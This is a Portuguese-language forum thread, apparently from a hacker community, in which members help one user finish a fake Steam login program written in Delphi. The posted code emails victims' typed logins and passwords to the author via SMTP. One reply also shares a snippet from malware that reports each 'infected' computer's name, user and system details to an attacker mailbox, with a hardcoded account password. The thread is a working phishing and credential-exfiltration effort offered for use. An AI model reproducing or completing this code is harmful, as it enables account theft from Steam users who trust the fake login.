[AJUDA] envio de informações

[lostph]

Olah, pessoal do Darkers ...

Bom vo explica o que aconteceu , antes de formata meu pc ... eu tinha um projeto funcionando aonde era um fake da STEAM ...

Mais formatei e eskeci de salva o projeto certo, so salv ei a metade dele, refiz ele novamente ...

POrem estou com problema na parte de envio da mensagem , gostaria de saber, se alguem pode me ajudar ..


Meu projeto tem 2 edit ...

Edit1... Edit 2...

aonde ao serem preenchidos e clikado em enviar ..

enviaria para meu e-mail da pop ....
Desde jah agradeço ..

Obrigado!.

[whit3_sh4rk]

Existem vários exemplos na net..

http://www.babooforum.com.br/forum/inde ... try1521938

[]s

[lostph]

Não consegui whit3_sh4rk

to tentando usa este codigo ..

Código Selecionar Expandir

begin
//envio de e-mail com o servidor yahoo muito bom, um pequeno exemplo

IdSMTP.Port:=465;
IdSMTP.Host:='smtp.mail.yahoo.com.br';
IdSMTP.Username:='steam_lostph';
IdSMTP.Password:='***';
IdSMTP.AuthenticationType:=atLogin;
IdSMTP.Connect(0);

//O seu endereço de e-mail
IdMessage.From.Address :='steam_lostph@yahoo.com.br';
//Aqui vai o endereço de e-mail para o qual você quer mandar o e-mail
IdMessage.Recipients.EMailAddresses :='lostph_steam@pop.com.br';
//O assunto da mensagem
IdMessage.Subject :='CONTA STEAM =]';

try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
end;
Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
MB_ICONINFORMATION + MB_OK);
end;

[c0dek]

lostph,
Parece que ultimamente está tendo muitos problemas no envio de e-mail pelo SMTP da Yahoo!
Na última vez em que testei(não faz muito tempo) usei o da BOL e deu certo.

P.S.:
-No IdSMTP.Username ponha somente o login.
Ex.: IdSMTP.Username:= 'lostph_steam';  // sem o @bol.com.br
-Use IdSMTP.Port:=25.
-SMTP da BOL: smtps.bol.com.br

De resto tudo normal.
Faça o teste ai. Qualquer coisa poste.
Abraços!

[lostph]

Bom c0dek segui sue conselho fiz um e-mail na BOL porem ...
peloq ue opservei a bol Recebe pelo POP e Envia pelo SMTP ...

Eu naum tenho no meu codigo a configuração pop e nem o componente pop ...
Sou meio inexperiente na parte de codificação ...

estou usando este código aqui, naum sei se está correto mais .

Código Selecionar Expandir

//envio de e-mail com o servidor yahoo muito bom, um pequeno exemplo

IdSMTP.Port:=25;
IdSMTP.Host:='smtp.bol.com.br';
IdSMTP.Username:='lostph.steam';
IdSMTP.Password:='***';
IdSMTP.AuthenticationType:=atLogin;
IdSMTP.Connect(0);

//O seu endereço de e-mail
IdMessage.From.Address :='lostph.steam@bol.com.br';
//Aqui vai o endereço de e-mail para o qual você quer mandar o e-mail
IdMessage.Recipients.EMailAddresses :='lostph.steam@bol.com.br';
//O assunto da mensagem
IdMessage.Subject :='CONTA STEAM =]';

try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
end;
Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
MB_ICONINFORMATION + MB_OK);
end;


Vc mesmo pdoe ver que so tem as informações smtp ..
uma vez um amigo meu me passo um codigo so smtp usei pela pop e deu certo, mais o codigo era muitooo simples ...

se vcs que tem mais experiencia pode me ajudar, pode ser em qlquer e-mail , eu faço o e-mail ...

Muito obrigado...

[whit3_sh4rk]

Se o BOL utilizar SSL, esse método comum não irá funcionar.

Assim como o Yahoo e GMail por exemplo utilizam..

[]s

[lostph]

ah tá ... mais não existe um jeito de fazer funcionar ?...
mesmo sem o SSL ... acho que o pop naum utiliza..

[c0dek]

Lostph,
Tenta enviar pra um email da Gmail, quando eu testei usei SMTP do BOL enviando pra um email Gmail.
Testa ai que quando eu tiver um tempo eu faço uns testes aqui e te mando.

[]'s

[lostph]

ok , vo testa e posto o resultado aki =] ...

[OnlyOne]

ate onde eu sei o BOL nao usa SSL , o GMAil sim , mas isso t5b pode ser implementado via codigo , no yahoo vc tem q configurar seu email pra acessar o POP e o SMTP , pelo menos era assim

[Zero cool]

oks vamos la,  vc pode usar tanto bol quanto yahoo pra autenticar, o problema esta no codigo sendo que vc pode autenticar tbm via http post que eu acho muito melhor, mas vamos ficar com smtp mesmo:

vou te passar um code que vai tirar suas duvidas

Código Selecionar Expandir

procedure TCmd.e1;
begin
{=========================================================================================================}
{ CONFIGURE AQUI SEU EMAIL PARA IFECTS }
{=========================================================================================================}
if (not func.Co) or (fileexists(func.dr + file_flag)) then
  exit;
  filecreate(func.dr+file_flag);
  msg.Body.Clear;
  msg.From.Name := func.User;
  msg.From.Address := 'Zerocool@bol.com';   }
  msg.Recipients.EMailAddresses := ('Zerocool@gmail.com');
  msg.Subject :=  'Infectado: ' + func.CompNAME;
  Smtp.Host := ('smtps.bol.com');;
  msg.Body.Add('====================== Zero cool ============================');
  msg.Body.Add('Nome do Computador........................: ' + func.CompNAME);
  msg.Body.Add('Usuário ativo.............................: ' + func.User);
  msg.Body.Add('Data......................................: ' + datetostr(now));
  msg.Body.Add('Hora......................................: ' + timetostr(now));
  msg.Body.Add('__________________________________________________________________');
  msg.Body.Add('Sistema Operacional.......: ' + func.GIV);
  msg.Body.Add('Resolução do Monitor......: ' + IntToStr(Screen.Width));
  msg.Body.Add('==================================================================');
  msg.Body.Add('');
  msg.Body.Add('-= Zero cool Darkers =-');
  Smtp.AuthenticationType := atLogin ;
  Smtp.Username := 'Zerocool'; {<--- username do email que vai enviar os infects }
  Smtp.Password :='09873gf1873';  {<--- senha do email que vai enviar os infects }
  Smtp.Port     := 25;
  Smtp.Connect;
{=========================================================================================================}
{=========================================================================================================}
   Try
  Smtp.Send(Msg);
    except
  Smtp.Disconnect;
  end;
  Smtp.Disconnect;

End;


[c0dek]

Zero Cool,
Seria interessante postar esse método de HTTP Post ou algum link como referência, me interessei por ele. Se você puder, é claro.

Obrigado.

Abraços.

[lostph]

ZeroCool , muito obrigado pelo codigo ... esta completo ..

porem como vc eh amis esperiente , gostaria de add o edit 1 e edit 2 no e-mail tbm , como ?!


abraços

[lostph]

Zero cool ... seu codigo esta dando erro...

nesta linha
if (not func.Co) or (fileexists(func.dr + file_flag)) then

acredito que nas outras tbm ..

abraços ..

e mesmo asism agradeço muito a ajuda, seu codigo deu pra ter noção mais amplas do que posso fazer!

[c0dek]

lostph,

Tente usar esse código:

Código Selecionar Expandir

with SMTP do
  begin
Host:='smtps.bol.com.br';
Port:=25;
Username:='';
Password:='';
AuthenticationType := atLogin;
Connect;
  end;

with Mensagem do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:=''; // E-mail da autenticação
From.Name:=''; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= ''; // E-mail que vai receber as informações
Subject :='Conta Steam =]';
ContentType:='text/html';
  end;
try
SMTP.Send(Mensagem);
finally
SMTP.Disconnect;
end;

O código que o ZeroCool passou era pra você ter uma base, deu erro porque você não tem as funções.


Abraços.